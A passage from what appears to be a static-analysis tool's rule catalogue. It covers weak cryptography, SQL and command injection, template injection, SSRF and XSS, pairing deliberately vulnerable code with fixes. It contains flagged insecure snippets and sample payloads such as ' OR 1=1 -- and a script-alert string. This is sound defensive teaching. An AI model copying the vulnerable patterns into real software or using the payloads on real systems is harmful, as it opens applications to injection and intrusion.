| Node | crypto.createHash('md5') | crypto.createHash('sha256') |
| Java | MessageDigest.getInstance("MD5") | MessageDigest.getInstance("SHA-256") |
| Go | md5.New() | sha256.New() (import crypto/sha256) |
rastray --fix --yes auto-applies these substitutions.
For password hashing specifically, do not switch to
SHA-256 either — use argon2id (or bcrypt if Argon2 is
unavailable).
References
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm
- NIST: MD5 deprecation
- Wang et al. 2004 MD5 collision paper
- OWASP Cryptographic Storage Cheat Sheet
RSTR-CRY-002 — SHA-1 used for hashing
Summary
SHA-1 is broken: the SHAttered attack (2017) produced the first practical collision, and modern attacks can produce chosen-prefix collisions for under USD 50,000. SHA-1 is unsuitable for any new security use.
Severity
High.
Languages
Python, JavaScript, TypeScript, Java, Kotlin, Go, Rust.
What rastray flags
- Python:
hashlib.sha1(...) - Node:
crypto.createHash('sha1')/crypto.createHash("sha1") - Java:
MessageDigest.getInstance("SHA-1")and"SHA1" - Go:
sha1.New()(after importingcrypto/sha1)
How to fix it
Replace with SHA-256. rastray --fix --yes auto-applies the
substitution across all four languages.
For HMAC specifically, HMAC-SHA1 is still considered
safe for integrity because HMAC's security doesn't reduce
to the underlying hash's collision resistance — but new
code should use HMAC-SHA256 anyway because there's no
reason to prefer the broken hash.
References
- SHAttered: the first SHA-1 collision
- NIST: SP 800-131A retirement of SHA-1
- CWE-328: Use of Weak Hash
RSTR-CRY-003 — DES / 3DES cipher
Summary
DES (1977) and 3DES (1998) are both deprecated. DES has a 56-bit key — brute-forceable in hours on modern hardware — and 3DES is vulnerable to the Sweet32 birthday attack against its 64-bit block size. NIST disallowed 3DES for new applications in 2017 and removed all uses by the end of 2023.
Severity
High.
Languages
Java, Kotlin, Python, Go.
What rastray flags
- Java/Kotlin:
Cipher.getInstance("DES/...")orCipher.getInstance("DESede/...")/"TripleDES/...". - Python:
from Crypto.Cipher import DES, DES3(PyCryptodome / PyCrypto). - Go:
crypto/desimport ordes.NewCipher(...)/des.NewTripleDESCipher(...).
What rastray deliberately does not flag
- AES-anything (the modern default).
- ChaCha20-Poly1305.
How to fix it
Switch to AES-GCM (or ChaCha20-Poly1305 if AES-NI is unavailable):
// Java
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
# Python (cryptography)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
aesgcm = AESGCM(key) # 16/24/32-byte key
ct = aesgcm.encrypt(nonce, plaintext, aad)
// Go
import "crypto/aes"; import "crypto/cipher"
block, _ := aes.NewCipher(key)
gcm, _ := cipher.NewGCM(block)
ct := gcm.Seal(nil, nonce, plaintext, aad)
References
RSTR-CRY-004 — ECB cipher mode
Summary
Electronic Codebook (ECB) encrypts every plaintext block independently with the same key. Identical plaintext blocks therefore produce identical ciphertext blocks — patterns in the plaintext (the famous ECB-penguin image) are visible in the ciphertext regardless of how strong the underlying cipher is.
ECB provides confidentiality of single blocks at best; it is never the right mode for application data.
Severity
High.
Languages
Java, Kotlin, Python.
What rastray flags
- Java/Kotlin:
Cipher.getInstance("AES/ECB/..."),Cipher.getInstance("DES/ECB/..."), etc. - Python:
Crypto.Util.Cipher.MODE_ECBorAES.new(key, AES.MODE_ECB).
What rastray deliberately does not flag
- GCM, CCM, CBC, CTR modes.
- Stream ciphers (ChaCha20).
How to fix it
Use AES-GCM. It provides authenticated encryption (AEAD): confidentiality and integrity in one primitive, with a single per-message nonce:
// Java
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(Cipher.ENCRYPT_MODE, key,
new GCMParameterSpec(128, nonce));
byte[] ct = cipher.doFinal(plaintext);
# Python (cryptography)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
aesgcm = AESGCM(key)
ct = aesgcm.encrypt(nonce, plaintext, aad)
Never reuse a (key, nonce) pair with GCM — generate the nonce from a
counter or os.urandom(12) per message.
References
RSTR-CRY-005 — Math.random() used for security
Summary
Math.random() is not a cryptographically secure RNG. Its output is
fully predictable from a small handful of observed samples. Using it
to generate session tokens, password-reset codes, OAuth nonces, API
keys, or any other security-sensitive value lets an attacker forge
those values offline.
Severity
Medium. (We picked Medium over High because the rule fires at
every Math.random() site and not all of them are security-relevant;
when the value is in fact a token, it is unambiguously critical.)
Languages
JavaScript, TypeScript.
What rastray flags
Any Math.random() call:
const token = Math.random().toString(36).slice(2); // ← flagged
What rastray deliberately does not flag
crypto.randomUUID(),crypto.getRandomValues(...),crypto.randomBytes(...).
How to fix it
Use the platform-provided CSPRNG:
// Browser
const arr = new Uint8Array(16);
crypto.getRandomValues(arr);
const token = Array.from(arr, b => b.toString(16).padStart(2, '0')).join('');
// or, even simpler:
const token = crypto.randomUUID(); // available in modern browsers and Node 19+
// Node
import { randomBytes, randomUUID } from 'crypto';
const token = randomBytes(16).toString('hex');
const id = randomUUID();
For non-security uses — animation jitter, sampling, shuffles in a
single-player game — Math.random() is fine. If a finding is in
clearly non-security code, suppress it per-line with a comment.
References
- MDN:
Crypto.getRandomValues() - Node
crypto.randomUUID - CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator
RSTR-CRY-006 — Python random / Go math/rand for security
Summary
Python's stdlib random module and Go's math/rand are designed for
statistical work, not cryptography. Both are Mersenne-Twister-based
and fully predictable from a few observed outputs — fine for sampling
and simulation, fatal for token generation.
Severity
Medium. Same nuance as RSTR-CRY-005 — fires
broadly because the language has no other signal that the value will
be a token.
Languages
Python, Go.
What rastray flags
import random
token = random.choices('abcdef0123456789', k=32) # ← flagged
nonce = random.randint(0, 2**32) # ← flagged
import "math/rand"
n := rand.Int31() // ← flagged
What rastray deliberately does not flag
- Python
secretsmodule:secrets.token_hex(16),secrets.choice(seq). - Go
crypto/rand:rand.Read(buf),rand.Int(rand.Reader, max).
How to fix it
Python — use secrets:
import secrets
token = secrets.token_urlsafe(32) # 256-bit URL-safe
pwd = secrets.token_hex(16) # 128-bit hex
pin = secrets.choice(range(10**6)) # 6-digit numeric
Go — use crypto/rand:
import "crypto/rand"
buf := make([]byte, 16)
if _, err := rand.Read(buf); err != nil {
return err
}
token := hex.EncodeToString(buf)
For non-security purposes (a/b-testing bucket, scheduling jitter, shuffling a deck for a non-money game) the stdlib RNGs are correct; suppress the finding with a comment.
References
RSTR-CRY-007 — Rust rand::thread_rng() for security
Summary
The rand crate's thread_rng() returns the per-thread default RNG.
As of rand 0.7+ it is seeded from the OS CSPRNG, but the output
stream is not specified to be cryptographically secure across crate
versions, and historically the type behind thread_rng() has changed.
For tokens, keys, nonces, and any other security-sensitive use, always
use OsRng (or getrandom directly) so the guarantee is explicit and
stable across rand releases.
Severity
Medium.
Languages
Rust.
What rastray flags
#![allow(unused)] fn main() { use rand::Rng; let token: u64 = rand::thread_rng().gen(); // ← flagged }
What rastray deliberately does not flag
rand::rngs::OsRng.getrandom::getrandom(&mut buf).ring::rand::SystemRandom::new().
How to fix it
#![allow(unused)] fn main() { use rand::rngs::OsRng; use rand::RngCore; let mut buf = [0u8; 32]; OsRng.fill_bytes(&mut buf); }
Or with getrandom directly (zero deps):
#![allow(unused)] fn main() { let mut buf = [0u8; 32]; getrandom::getrandom(&mut buf).expect("entropy unavailable"); }
For UUIDs:
#![allow(unused)] fn main() { use uuid::Uuid; let id = Uuid::new_v4(); // backed by getrandom }
References
RSTR-INJ-001 — SQL injection via f-string / template literal
Summary
SQL is built by interpolating user-controlled values into
a string with Python f-string or JS template-literal
syntax, then passed to a .execute(...) / .query(...) /
.executemany(...) call. This is SQL injection — one
of the oldest and still most common high-impact web bugs.
Severity
High.
Languages
Python, JavaScript / TypeScript.
What rastray flags
A call to cursor.execute(...) / cursor.executemany(...)
(Python) or db.query(...) / db.execute(...) (Node)
whose argument is an f-string or template literal
containing a {...} / ${...} interpolation.
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}") # ← flagged
db.query(`SELECT * FROM users WHERE id = ${userId}`); // ← flagged
How to fix it
Use parameterised queries:
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
db.query('SELECT * FROM users WHERE id = ?', [userId]);
Or use an ORM that builds parameterised queries for you (SQLAlchemy, Django ORM, Prisma, Sequelize).
References
RSTR-INJ-002 — Python subprocess(shell=True) / os.system
Summary
Calling subprocess.run (or .call / .Popen) with shell=True —
or using os.system — runs the argument through /bin/sh. Any
attacker-controlled substring is then interpreted as shell syntax,
so ;, &&, $(...), backticks, redirections, and globbing all
work against you.
Severity
High.
Languages
Python.
What rastray flags
import subprocess, os
subprocess.run(f'ls {path}', shell=True) # ← flagged
subprocess.Popen(cmd, shell=True) # ← flagged
os.system('curl ' + url) # ← flagged
What rastray deliberately does not flag
subprocess.run(['ls', path])— argv form, no shell.subprocess.run('ls', shell=False)— explicit opt-out.
How to fix it
Pass an argv list and leave shell=False (the default):
import subprocess
subprocess.run(['ls', path], check=True)
subprocess.run(['curl', '--fail', url], check=True)
If you genuinely need shell features (pipes, here-docs), build the
command from constants and quote any variable parts with shlex.quote:
import shlex, subprocess
cmd = f'tar czf - {shlex.quote(path)} | gpg --encrypt -r {shlex.quote(recipient)}'
subprocess.run(cmd, shell=True, check=True)
Still — the argv form is almost always better; reach for the shell only when the pipeline structure cannot be expressed without it.
References
RSTR-INJ-003 — eval / exec / new Function — dynamic code execution
Summary
The application evaluates a string as code at runtime. If any part of that string is influenced by request input, the attacker controls the program counter — an immediate full RCE. Even when the input is trusted, dynamic evaluation defeats every static analyzer (rastray, the type-checker, the IDE), so the trade-off is rarely worth it.
Severity
Critical when the input may be user-controlled; High otherwise.
Languages
Python, JavaScript, TypeScript, PHP.
What rastray flags
- Python:
eval(...),exec(...),compile(...)followed byeval/exec. - JavaScript / TypeScript:
eval(...),new Function(...),setTimeout(stringArg, ...),setInterval(stringArg, ...). - PHP:
eval(...),assert($x)with a string argument.
What rastray deliberately does not flag
JSON.parse(...)— structured data, not code.Function(...)calls used purely for static reflection (Function.prototype.toString).- AST evaluators in a sandbox (
vm2,tiny-evaletc.) — they have separate threat models; the rule's blanket flag is still warranted, suppress with an explanatory comment.
How to fix it
Replace dynamic evaluation with a parser / dispatcher:
# Bad — math expressions from user input
result = eval(request.args['expr'])
# Good — expression parser library
from simpleeval import simple_eval
result = simple_eval(request.args['expr'])
For JS configuration that historically motivated new Function, the
modern alternatives are JSON, YAML, or a typed schema:
// Bad — interpret arbitrary user JS
const transform = new Function('row', userJs);
// Good — accept a small DSL
const transform = compileTransform(parseDsl(userDsl));
If you must keep eval, severely restrict the input grammar at the
boundary and document the threat model in source.
References
RSTR-INJ-004 — Node child_process.exec with template literal
Summary
child_process.exec (and execSync) runs its command through /bin/sh.
When the command is built with template-literal interpolation or string
concatenation, any attacker-controlled substring is interpreted as
shell syntax — the standard command-injection vulnerability.
Severity
High.
Languages
JavaScript, TypeScript.
What rastray flags
const { exec } = require('child_process');
exec(`ls ${path}`); // ← flagged
exec('curl ' + url); // ← flagged
execSync(`tar czf - ${dir}`); // ← flagged
What rastray deliberately does not flag
execFile(file, [args])— no shell.spawn(cmd, [args])— no shell.exec('ls')with a constant string.
How to fix it
Use execFile or spawn with an argv array:
const { execFile, spawn } = require('child_process');
execFile('ls', [path], (err, stdout) => { ... });
spawn('tar', ['czf', '-', dir]);
If you need shell features (pipes, redirections), build the command from constants and quote each variable with a safe quoter:
import { quote } from 'shell-quote';
const cmd = `tar czf - ${quote([path])} | gpg --encrypt -r ${quote([recipient])}`;
exec(cmd);
shell-quote (or shlex on the Python side) does what
shellescape does in safer shells.
References
RSTR-INJ-005 — Go exec.Command("sh", "-c", ...)
Summary
exec.Command is being invoked with a shell wrapper — sh -c,
bash -c, or cmd /c — so the second argument is interpreted as a
shell line. Any attacker-controlled substring becomes shell syntax.
Go's stdlib already protects you against this by accepting an argv
list; the shell wrapper specifically opts back into the dangerous form.
Severity
High.
Languages
Go.
What rastray flags
exec.Command("sh", "-c", "ls " + path) // ← flagged
exec.Command("bash", "-c", fmt.Sprintf("tar czf - %s", path)) // ← flagged
exec.Command("cmd", "/c", "dir " + path) // ← flagged (Windows)
What rastray deliberately does not flag
exec.Command("ls", path)— argv form, no shell.exec.Command("/usr/bin/curl", "-fsSL", url).
How to fix it
Drop the shell wrapper and pass arguments as separate strings — that is the safe form, no escaping required:
cmd := exec.Command("ls", path)
out, err := cmd.Output()
cmd := exec.Command("tar", "czf", "-", path)
If you genuinely need pipes or redirections, compose them in Go rather
than letting the shell parse the command. io.Pipe plus two
exec.Commands achieves a pipeline cleanly:
r, w := io.Pipe()
tar := exec.Command("tar", "czf", "-", path)
tar.Stdout = w
gpg := exec.Command("gpg", "--encrypt", "-r", recipient)
gpg.Stdin = r
// run both, close w when tar exits
References
RSTR-INJ-006 — PHP SQL query built from request superglobal
Summary
A PHP database call (mysqli_query, pg_query, $pdo->query(), etc.)
concatenates $_GET[...], $_POST[...], $_REQUEST[...], or
$_COOKIE[...] directly into the SQL string. Classic SQL injection —
an attacker submits ' OR 1=1 -- and reads or rewrites the entire
table.
Severity
Critical.
Languages
PHP.
What rastray flags
Procedural API:
$rows = mysqli_query($db,
"SELECT * FROM users WHERE id = " . $_GET['id']); // ← flagged
pg_query($conn,
"DELETE FROM orders WHERE name = '" . $_POST['name'] . "'"); // ← flagged
Object-style PDO / mysqli:
$rows = $pdo->query(
"SELECT * FROM logs WHERE pat = '" . $_REQUEST['pat'] . "'"); // ← flagged
What rastray deliberately does not flag
- Calls where the SQL is a constant string with no superglobal interpolation.
- Calls where the value flows through an intermediate variable (consistent with how every other rastray rule scopes its pattern match).
- Prepared-statement use:
$pdo->prepare(...) + ->execute([...]).
How to fix it
Use prepared statements with placeholders. With PDO:
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $_GET['id']]);
$rows = $stmt->fetchAll();
With mysqli:
$stmt = mysqli_prepare($db, 'SELECT * FROM users WHERE id = ?');
mysqli_stmt_bind_param($stmt, 'i', $_GET['id']);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
For Postgres (pg_query_params):
$result = pg_query_params(
$conn,
'SELECT * FROM orders WHERE name = $1',
[$_POST['name']]
);
Placeholders are the only safe form. Sanitising with mysqli_real_escape_string
helps but is easy to misuse (it does not escape numeric contexts, table
names, or column names); prepared statements remove the foot-gun.
References
- PHP: PDO prepared statements
- PHP: mysqli prepared statements
- OWASP SQL Injection Prevention Cheat Sheet
- CWE-89
RSTR-INJ-007 — PHP command exec on request superglobal
Summary
A PHP shell-out function (exec, system, shell_exec, passthru,
popen, proc_open, pcntl_exec) or the backtick operator runs a
command built from $_GET, $_POST, $_REQUEST, or $_COOKIE.
An attacker injects ; / && / $(...) and runs arbitrary OS
commands as the web user.
Severity
Critical.
Languages
PHP.
What rastray flags
exec("ping -c 4 " . $_GET['host']); // ← flagged
system("ls " . $_POST['dir']); // ← flagged
shell_exec("grep " . $_REQUEST['q'] . " /var/log/syslog"); // ← flagged
passthru("zip -r out.zip " . $_GET['target']); // ← flagged
$out = `ls -la $_GET[d]`; // ← flagged (backticks)
What rastray deliberately does not flag
- Constant-string commands:
exec('/usr/bin/uptime'). - Indirect flow (
$host = $_GET['host']; exec("ping $host")— same one-step taint scope as the rest of rastray). - Arguments passed via
escapeshellarg(...)inside the call. The rule still fires (the regex cannot inspect arguments); suppress per-line if you can prove the escape is correct.
How to fix it
The reliable answer is don't shell out. PHP has libraries for
common tasks (gethostbyname for DNS, Imagick for image work,
etc.). When you must, build the command from a fixed allow-list
and quote variable parts with escapeshellarg:
$ALLOWED_HOSTS = ['example.com', 'api.example.com'];
if (!in_array($_GET['host'], $ALLOWED_HOSTS, true)) {
http_response_code(400);
exit;
}
$out = shell_exec('ping -c 4 ' . escapeshellarg($_GET['host']));
escapeshellarg puts the value inside single quotes and escapes any
existing single quotes, so shell metacharacters lose their meaning.
It is not a substitute for an allow-list, just defence in depth.
How to suppress
If the call is genuinely safe after explicit escaping or because the input source is trusted:
// rastray-ignore: RSTR-INJ-007 — internal cron, $_REQUEST is loopback-only
exec('rsync -a ' . escapeshellarg($_REQUEST['src']) . ' /backup/');
References
RSTR-INJ-008 — Rails .where("... #{params[...]} ...")
Summary
A Rails ActiveRecord query method (.where, .find_by_sql,
.update_all, .delete_all, etc.) is called with a string-interpolated
SQL fragment that contains params[...]. Ruby evaluates the #{...}
substitution before the string reaches ActiveRecord, so the database
sees an attacker-controlled query — classic SQL injection.
ActiveRecord's hash form (.where(id: params[:id])) and the positional
form (.where("id = ?", params[:id])) both delegate to prepared
statements and are safe.
Severity
Critical.
Languages
Ruby (Rails).
What rastray flags
User.where("id = '#{params[:user][:id]}'") # ← flagged
User.find_by_sql("SELECT * FROM users WHERE id = #{params[:id]}") # ← flagged
Order.update_all("status = '#{params[:s]}'") # ← flagged
What rastray deliberately does not flag
Safe ActiveRecord forms:
User.where(id: params[:id]) # hash form
User.where("id = ?", params[:id]) # positional
User.where("id = :id", id: params[:id]) # named
These compile to prepared statements; the value never reaches the SQL parser as code.
How to fix it
Use one of the two parameterised forms:
# Hash form (preferred when matching one column)
User.where(id: params[:id])
# Positional form (when you need a custom predicate)
User.where("name LIKE ?", "%#{params[:q]}%")
# Named placeholders for multi-column queries
User.where("name LIKE :q OR email LIKE :q", q: "%#{params[:q]}%")
For more complex queries, build the query progressively:
scope = User.all
scope = scope.where(role: params[:role]) if params[:role].present?
scope = scope.where("created_at >= ?", since) if since.present?
scope.order(:name)
Even when the value looks "safe" (a number, a UUID), use the parameterised form. Type coercion happens at the binding layer and removes any ambiguity.
References
RSTR-INJ-009 — Rails params[:x].constantize / .classify / .safe_constantize
Summary
A Rails handler resolves a class by calling .constantize,
.safe_constantize, or .classify on a request parameter. An attacker
who controls the string can instantiate any class in the autoload
namespace — including ones whose initialize / _load / inherited
hooks have dangerous side effects. The "mobile API" pattern of
"deserialize whatever class the client names" historically led to RCE
via gadget chains in several published Rails advisories.
Severity
High.
Languages
Ruby (Rails).
What rastray flags
model = params[:class].constantize # ← flagged
klass = params[:kind].safe_constantize # ← flagged
model = params[:type].classify # ← flagged
What rastray deliberately does not flag
Allow-list resolution:
ALLOWED = { 'user' => User, 'admin' => AdminUser, 'guest' => GuestUser }
klass = ALLOWED.fetch(params[:kind]) { raise ActionController::BadRequest }
klass = case params[:kind]
when 'user' then User
when 'admin' then AdminUser
end
.constantize on a constant or a non-params source is also not
flagged.
How to fix it
Resolve through an allow-list. The hash-with-fetch idiom above is the canonical pattern; the case-statement form is equally fine. Both ensure only classes the developer intended are reachable.
If the parameter is supposed to be one of a small fixed set, just do an explicit comparison rather than reflection:
if %w[user admin guest].include?(params[:kind])
# safe to use params[:kind] in a query, but still construct
# the class explicitly elsewhere
end
References
- Rails Guides: Mass Assignment & dynamic dispatch
- HackerOne: classic Rails Marshal exploit
- CWE-470: Use of Externally-Controlled Input to Select Classes or Code
RSTR-INJ-010 — Rails render inline: / text: with params interpolation
Summary
A Rails controller calls render with inline: (or the deprecated
text:) and the supplied string contains a #{params[...]}
interpolation. Ruby substitutes the request value into the template
source before the renderer parses it, so the attacker controls the
template — server-side template injection (SSTI), which usually
escalates to RCE through ERB's <%= ... %> evaluation.
Severity
Critical.
Languages
Ruby (Rails).
What rastray flags
render inline: "<h1>Hi #{params[:name]}</h1>" # ← flagged
render(text: "Hello #{params[:name]}") # ← flagged
render inline_template: "<%= #{params[:expr]} %>" # ← flagged
What rastray deliberately does not flag
Render a fixed template and pass user input as locals::
render :show, locals: { name: params[:name] } # safe
render template: 'users/show', locals: { name: params[:name] } # safe
How to fix it
Always render a template that ships with the application; never let
user input become the template source. Pass values as locals: and
let ERB's auto-escaping handle the output:
# app/views/users/show.html.erb
# <h1>Hi <%= name %></h1>
def show
render :show, locals: { name: params[:name] }
end
For one-off responses, render plain strings without interpolation:
render plain: "Hello, #{ERB::Util.h(params[:name])}" # also flagged but safe
Even the plain-string form above is still flagged because the rule cannot prove the escape is correct; if you adopt that pattern intentionally, suppress per-line.
References
RSTR-SSRF-001 — fetch/axios with request input
Summary
A server-side HTTP request is built from request input that
the caller never validates. An attacker can substitute a URL
that points at internal infrastructure
(http://localhost:6379, http://169.254.169.254 cloud
metadata, internal admin panels) and either exfiltrate the
response or use the server as a confused-deputy proxy.
This is server-side request forgery (SSRF), CWE-918.
Severity
High. SSRF in cloud workloads can read IAM credentials
from the metadata endpoint, leading directly to privilege
escalation.
Languages
JavaScript, TypeScript (and their JSX / TSX / .mjs / .cjs variants).
What rastray flags
The first argument of fetch(...), axios.get(...),
axios.post(...), axios.put(...), axios.patch(...),
axios.delete(...), axios.head(...), axios.options(...),
or axios.request(...) is a direct property access on
req.body.*, req.query.*, req.params.*, req.cookies.*,
or req.headers.*.
True-positive example:
app.get('/proxy', async (req, res) => {
const r = await fetch(req.body.url); // ← flagged
res.send(await r.text());
});
const r = await axios.get(req.query.next); // ← flagged
What rastray deliberately does not flag
Indirect flow via a local variable. The rule requires the request expression to appear directly in the sink:
const url = req.body.url;
const r = await fetch(url); // ← not flagged
This is the same conservative scope used by every other rastray security rule. Multi-step taint flow is what CodeQL and Semgrep Pro do; rastray catches the common 80% where the dangerous value is right there in the call.
Literal URLs:
const r = await fetch('https://api.github.com/repos/x/y'); // ← not flagged
Validated values:
const safe = new URL(req.body.url);
if (!ALLOWED_HOSTS.has(safe.hostname)) throw new Error('blocked');
const r = await fetch(safe); // ← not flagged
Why the finding message looks the way it does
Every RSTR-SSRF-001 finding interpolates the matched call:
RSTR-SSRF-001:
fetch(req.body.url)issues an HTTP request to a URL taken from request input — SSRF risk
If you have 50 SSRF findings in one report, all 50 messages are distinguishable because each shows the exact call that matched, not a generic template.
How to fix it
Option 1 — allow-list the host:
const ALLOWED_HOSTS = new Set([
'api.example.com',
'cdn.example.com',
]);
const target = new URL(req.body.url);
if (!ALLOWED_HOSTS.has(target.hostname)) {
return res.status(400).send('host not allowed');
}
const r = await fetch(target);
Option 2 — route through a hardened proxy that strips inbound URLs and only fetches from a known set of upstreams.
Option 3 — eliminate the feature. Most "fetch arbitrary
URL on behalf of the user" features can be replaced with a
client-side <iframe> or a server-side fetch from a
catalog rather than a free-form URL.
How to suppress this finding
Only if the URL is genuinely safe — for example, a private API where the caller is already authenticated and you've sanitised the host against an allow-list inside a helper the rule can't see across.
// rastray-ignore: RSTR-SSRF-001
const r = await safeFetch(req.body.url);
Or project-wide in .rastray.toml:
[rules]
"RSTR-SSRF-001" = { severity = "low" } # downgrade to informational
References
- CWE-918: Server-Side Request Forgery
- OWASP SSRF Prevention Cheat Sheet
- PortSwigger: SSRF attacks
- HackerOne: Hunting for SSRF bugs
- Cloud metadata SSRF: AWS Capital One incident write-up
RSTR-SSRF-002 — Node http/https request with request input
Summary
The same SSRF class as RSTR-SSRF-001, expressed
via Node's lower-level http / https core modules instead of fetch
or axios. An attacker controls the URL, the server makes the request,
and internal or cloud-metadata endpoints become reachable through the
application.
Severity
High.
Languages
JavaScript, TypeScript.
What rastray flags
http.get, http.request, https.get, https.request with the URL
argument taken directly from req.body.*, req.query.*, req.params.*,
req.headers.*, or req.cookies.*:
const http = require('http');
app.get('/proxy', (req, res) => {
http.get(req.query.url, upstream => upstream.pipe(res)); // ← flagged
});
https.request(req.body.target, opts, cb).end(); // ← flagged
What rastray deliberately does not flag
- Literal URL arguments.
- Indirect flow (
const url = req.query.url; http.get(url)) — same conservative scope as every other rastray taint rule. - URLs constructed via
new URL(req.query.url, BASE)whereBASEis a fixed origin that the rule cannot evaluate. Suppress that case if the path component is also validated.
How to fix it
Same playbook as RSTR-SSRF-001:
- Parse the URL with
new URL(...). - Allow-list the hostname against a fixed
Set. - Reject any URL that resolves to a private, loopback, or link-local address before making the upstream request.
const ALLOWED = new Set(['api.example.com', 'cdn.example.com']);
app.get('/proxy', (req, res) => {
let target;
try { target = new URL(req.query.url); }
catch { return res.status(400).end(); }
if (!ALLOWED.has(target.hostname)) return res.status(400).end();
https.get(target, upstream => upstream.pipe(res));
});
References
RSTR-SSRF-003 — Python requests / urlopen with request input
Summary
Python equivalent of RSTR-SSRF-001. The
application performs a server-side HTTP call where the URL is sourced
directly from request attributes.
Severity
High. In cloud workloads, an attacker can read the IAM-role metadata
endpoint and pivot to full account compromise.
Languages
Python.
What rastray flags
requests.get / requests.post / requests.put / requests.patch /
requests.delete / requests.head / requests.options / requests.request,
plus urllib.request.urlopen, when the URL is request.args[...],
request.form[...], request.json[...], request.values[...],
request.GET[...], request.POST[...], or request.data[...]:
@app.route('/proxy')
def proxy():
return requests.get(request.args['url']).text # ← flagged
def view(request):
body = urlopen(request.GET['next']).read() # ← flagged
What rastray deliberately does not flag
- Literal URLs.
- URLs assigned to a local first, then passed to
requests— same one-step taint scope as the rest of rastray. requests.Session()configured with a fixedbase_url(rare in practice but appears in some clients).
How to fix it
Validate the target host before making the outbound call:
from urllib.parse import urlparse
import ipaddress, socket
ALLOWED_HOSTS = {'api.example.com', 'cdn.example.com'}
def fetch_safe(url: str) -> bytes:
parsed = urlparse(url)
if parsed.scheme not in {'http', 'https'}:
raise ValueError('only http(s) allowed')
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError('host not allow-listed')
# belt-and-suspenders: resolve and reject private IPs
ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
if ip.is_private or ip.is_loopback or ip.is_link_local:
raise ValueError('private destination')
return requests.get(url, timeout=5, allow_redirects=False).content
allow_redirects=False matters — without it, an allow-listed host can
redirect the request into the metadata endpoint.
References
RSTR-SSRF-004 — Go http.Get / http.NewRequest with request input
Summary
Go equivalent of RSTR-SSRF-001. A handler
issues an outbound HTTP call where the URL is read from the request via
r.FormValue / r.URL.Query().Get / mux.Vars(r).
Severity
High.
Languages
Go.
What rastray flags
http.Get, http.Head, http.Post, http.PostForm, http.NewRequest,
and http.NewRequestWithContext when the URL argument is fed directly
by r.FormValue(...), r.URL.Query().Get(...), or similar request
accessors:
func proxy(w http.ResponseWriter, r *http.Request) {
resp, err := http.Get(r.URL.Query().Get("url")) // ← flagged
...
}
req, _ := http.NewRequest("POST",
r.FormValue("target"), body) // ← flagged
What rastray deliberately does not flag
- Literal URLs.
- A URL stored in an intermediate variable.
- URLs built via
url.URL{Scheme:"https", Host: ALLOWED_HOST, Path: ...}where only the path comes from the request.
How to fix it
Allow-list the destination host and block private/metadata IPs:
var allowed = map[string]struct{}{
"api.example.com": {},
"cdn.example.com": {},
}
func safeGet(raw string) (*http.Response, error) {
u, err := url.Parse(raw)
if err != nil || (u.Scheme != "http" && u.Scheme != "https") {
return nil, errors.New("bad url")
}
if _, ok := allowed[u.Hostname()]; !ok {
return nil, errors.New("host not allowed")
}
addrs, err := net.LookupIP(u.Hostname())
if err != nil {
return nil, err
}
for _, ip := range addrs {
if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() {
return nil, errors.New("private destination")
}
}
client := &http.Client{
Timeout: 5 * time.Second,
CheckRedirect: func(_ *http.Request, _ []*http.Request) error {
return http.ErrUseLastResponse // do not follow
},
}
return client.Get(raw)
}
References
RSTR-XSS-001 — reflected XSS via res.send / res.end / res.write
Summary
An Express handler writes a value from req.body.*,
req.query.*, req.params.*, req.cookies.*, or
req.headers.* directly into the HTTP response via
res.send(...), res.end(...), or res.write(...). An
attacker can supply <script>alert(1)</script> (or
something less obvious) and the browser will execute it as
HTML.
Severity
High.
Languages
JavaScript, TypeScript (and JSX / TSX / .mjs / .cjs).
How to fix it
Send JSON instead of HTML when possible:
res.json({ greeting: req.body.greeting });
Or HTML-escape:
import he from 'he';
res.send(`<p>${he.encode(req.body.greeting)}</p>`);
Don't write a custom escaper — he and similar libraries
handle the edge cases (entity references, surrogate pairs,
context-specific encoding).
References
RSTR-XSS-002 — DOM-based XSS via innerHTML / outerHTML
Summary
A DOM property (.innerHTML or .outerHTML) is assigned
from a browser-supplied source like location.hash,
window.name, document.cookie, or document.referrer.
Anyone who can craft a URL the victim visits can run
arbitrary JS in their browser.
Severity
High.
Languages
JavaScript, TypeScript (and JSX / TSX / .mjs / .cjs).
How to fix it
Use .textContent instead — it never parses HTML:
el.textContent = location.hash; // ← safe
Or, if HTML rendering is genuinely required, sanitise with DOMPurify first:
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(location.hash);
Never write a custom HTML sanitiser. The list of edge cases is enormous (SVG, MathML, mutation XSS, mXSS in legacy browsers) and only well-maintained libraries keep up.
References
RSTR-XSS-003 — document.write with attacker-controlled DOM data
Summary
document.write (or document.writeln) is called with a string built
from window.location.*, document.referrer, document.URL, or
similar URL-bar / referrer sources — all directly controllable by an
attacker via a crafted link. The HTML is parsed in the page's origin,
yielding DOM-based XSS.
Severity
High. Indistinguishable from reflected XSS in impact.
Languages
JavaScript, TypeScript.
What rastray flags
document.write(location.search); // ← flagged
document.writeln(document.referrer); // ← flagged
document.write('<h1>' + location.hash + '</h1>'); // ← flagged
What rastray deliberately does not flag
document.write(staticString)with a literal argument.document.write(value)wherevalueis computed from a server response — those go throughRSTR-XSS-001/RSTR-XSS-002paths.document.writeof values that were first run through a sanitiser (DOMPurify,escapeHtml). The rule cannot see across calls; if the data was sanitised, suppress per-line.
How to fix it
Stop using document.write entirely. Modern alternatives:
- For text:
element.textContent = ...(safe; no HTML parsing). - For attributes:
element.setAttribute('href', ...). - For controlled markup:
element.innerHTML = DOMPurify.sanitize(html).
If you must accept HTML, sanitise it explicitly:
import DOMPurify from 'dompurify';
container.innerHTML = DOMPurify.sanitize(untrusted, { USE_PROFILES: { html: true } });
Note that document.write after the page has loaded silently wipes
the entire document — there is no production scenario where it is the
right primitive.
References
- OWASP DOM-XSS Cheat Sheet
- MDN:
document.write— section "Notes" - CWE-79
RSTR-XSS-004 — Flask Markup(...) / direct return with request input
Summary
